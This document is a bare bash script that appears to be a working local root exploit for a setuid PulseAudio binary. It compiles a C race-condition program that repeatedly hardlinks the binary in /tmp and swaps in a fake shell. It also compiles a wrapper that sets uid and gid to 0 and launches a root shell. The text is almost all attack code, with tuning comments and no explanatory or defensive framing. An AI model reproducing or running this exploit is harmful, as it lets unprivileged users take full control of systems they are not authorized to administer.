| 
	  #!/bin/bash 
pulseaudio=`which pulseaudio` workdir="/tmp" #workdir=$HOME id=`which id` shell=`which sh` 
trap cleanup INT 
function cleanup() {  rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c   rm -rf $workdir/PATMP* } 
cat > $workdir/pa_race.c << __EOF__ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <sys/types.h> #include <sys/wait.h> 
#define PULSEAUDIO_PATH  "$pulseaudio" #define SH_PATH   "$workdir/sh" #define TMPDIR_TEMPLATE  "$workdir/PATMPXXXXXX" 
void _pause(long sec, long usec); 
int main(int argc, char *argv[], char *envp[]) {  int   status;  pid_t pid;  char  template[sizeof(TMPDIR_TEMPLATE)];  char *tmpdir;  char  hardlink[sizeof(template) + 2];  char  hardlink2[sizeof(template) + 12];    srand(time(NULL));    for( ; ; )  {   snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);   template[sizeof(template) - 1] = '\0';      tmpdir = mkdtemp(template);   if(tmpdir == NULL)   {    perror("mkdtemp");    return 1;   }     snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);   hardlink[sizeof(hardlink) - 1] = '\0';     snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);   hardlink2[sizeof(hardlink2) - 1] = '\0';     /* this fails if $workdir is a different partition */   if(link(PULSEAUDIO_PATH, hardlink) == -1)   {    perror("link");    return 1;   }      if(link(SH_PATH, hardlink2) == -1)   {    perror("link");    return 1;   }      pid = fork();      if(pid == 0)   {    char *argv[] = {hardlink, NULL};    char *envp[] = {NULL}; 
   execve(hardlink, argv, envp);        perror("execve");    return 1;   }      if(pid == -1)   {    perror("fork");    return 1;   }   else   {    /* tweak this if exploit does not work */    _pause(0, rand() % 500);        if(unlink(hardlink) == -1)    {     perror("unlink");     return 1;    }      if(link(SH_PATH, hardlink) == -1)    {     perror("link");     return 1;    }    waitpid(pid, &status, 0);   }      if(unlink(hardlink) == -1)   {    perror("unlink");    return 1;   }      if(unlink(hardlink2) == -1)   {    perror("unlink");    return 1;   }      if(rmdir(tmpdir) == -1)   {    perror("rmdir");    return 1;   }  }     return 0; } 
void _pause(long sec, long usec) {  struct timeval timeout;    timeout.tv_sec  = sec;  timeout.tv_usec = usec;    if(select(0, NULL, NULL, NULL, &timeout) == -1)  {   perror("select");  } } __EOF__ 
cat > $workdir/sh.c << __EOF__ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> 
 int main(int argc, char *argv[], char *envp[]) {  if(geteuid() != 0)  {   return 1;  } 
 setuid(0);  setgid(0); 
 if(fork() == 0)  {   argv[0] = "$id";   argv[1] = NULL;   execve(argv[0], argv, envp);   return 1;  } 
 argv[0] = "$shell";  argv[1] = NULL;  execve(argv[0], argv, envp);  return 1; } __EOF__ 
gcc -o $workdir/pa_race $workdir/pa_race.c gcc -o $workdir/sh $workdir/sh.c 
$workdir/pa_race  
	
  |